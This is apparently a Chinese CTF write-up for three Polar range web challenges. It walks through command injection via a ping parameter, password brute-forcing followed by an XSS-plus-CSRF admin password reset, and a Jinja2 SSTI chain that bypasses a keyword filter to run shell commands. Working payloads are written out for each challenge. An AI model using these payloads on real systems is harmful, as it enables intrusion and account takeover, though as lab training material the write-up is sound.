今天是2026年8月23号

今天分享的是Polar靶场WEB中等题最后三题56-58题WP

Polar靶场

56.题目信息:BH

进入靶场:

分析代码,我们输入的参数会被拼接到ping -c 2 127.0.0.1后面,所以我们用分号;或管道符|来运行命令,payload:

?cmd=;ls

命令执行成功,我们直接读取flag:

?cmd=;cat flag.php

在源码中拿到flag:flag{030e77f73a4cb26a111daf0470c3956f}

57.题目信息:你会渗透吗

进入靶场:

我们先用测试账号登录:

里面有一张图片,底部有一个字典生成器,但我们权限不足无法直接跳转,我们直接访问链接/tools/tools.zip,直接下载了:

里面有几个文件:

打开html文件,里面是一个字典生成器,,图片就是字典生成器的预览图:

看到这里面有几个接口和上面的公告栏里的图片有匹配的,我们把那些输入进去看看能不能生成字典:

可以看到成功生成了3100个密码,既然有了密码,我们可以试试爆破团队成员Squirtle的账号,用BP的Intruder功能,账号我们就用Squirtle,密码就用我们刚刚生成的字典:

开始爆破:

成功爆出密码,我们登录Squirtle的账号:

登录成功,可以看到这里可以给管理员admin发消息,下面还可以重装密码,我们对重置密码抓个包看看:

可以看到这里是GET请求,并且请求地址还没有做CSRF Token防护,这让我联想到了CSRF(跨站请求伪造)攻击,大致原理就是我们可以给别人发一个恶意链接或利用xss让别人访问,比如这题,只要你在登录状态访问了链接就会直接重置密码,我们可以利用XSS+CSRF来打组合拳,从而让管理员admin重置密码,来达到登录管理员后台的目的。构造payload:

<img src=x onerror="fetch('/api.php?action=reset_password')">

发送:

发送成功,我们尝试登录管理员admin的账号:

登录成功,拿到flag:flag{4323ce6fff96d58cfd37f18747e28c18}

58.题目信息:diary

进入靶场:

翻译版:

这是一个文章输入框,经过测试发现存在xss漏洞和SSTI(服务端模板注入),输入{{7*7}}会输出49:

用dirsearch扫到了两个目录:

经测试,/clear是清理文章的,/source是源码,我们看看源码:

读完源码,我们可以在cookie里看到可疑参数:

漏洞分析:
主漏洞(SSTI):render_template_string(content) 将用户提交的原始字符串当作 Jinja2 模板渲染,可直接执行任意 Python 表达式。
次漏洞(存储型 XSS):{{ entry.content | safe }} 将渲染结果不转义输出,可注入任意 HTML/JS(但不是本题考点)。
WAF 绕过点:黑名单检测时只做了 lower() + 去空格/去 tab,然后做子串匹配。只要原始输入中不连续出现黑名单关键词即可绕过 —— 利用 Jinja2 的字符串连接符 ~ 拆词。
/clear 仅清空 session,无漏洞;Cookie 为 Flask 签名 session(secret_key 随机),不可伪造,与解题无关。
接下来测试WAF绕过,输入{{''|attr('__cla'~'ss__')}}

输出了<class 'str'>证明成功绕过,标准思路:__class__ → __mro__ → 1(object) → __subclasses__() 拿到所有类的子类,找一个可利用类。经过几次的尝试,踩了几次坑,决定改用经典 warnings.catch_warnings 类,先定位索引,payload:

{% set s = ''|attr('__cla'~'ss__')|attr('__mr'~'o__')|attr('__getitem__')(1)|attr('__subcla'~'sses__')() %}
{{s|length}}|{% for c in s %}{% if 'catch_warnings' in c|string %}{{loop.index0}}{% endif %}{% endfor %}

输出:494|149 -> catch_warnings 位于 object.__subclasses__()[149],构造最终payload:

{{(''|attr('__cla'~'ss__')|attr('__mr'~'o__')|attr('__getitem__')(1)|attr('__subcla'~'sses__')())[149]|attr('__in'~'it__')|attr('__glo'~'bals__')|attr('__getitem__')('__buil'~'tins__')|attr('__getitem__')('__imp'~'ort__')('o'~'s')|attr('pope'~'n')('cat /flag')|attr('read')()}}

成功拿到flag:flag{SST1_1s_d4nger0us_1n_J1nj4!}

Polar靶场WEB中等题到此结束,等待更新。

“刷题的挫败都是铺垫,踩过的每一个坑,都会变成赛场上的直觉。”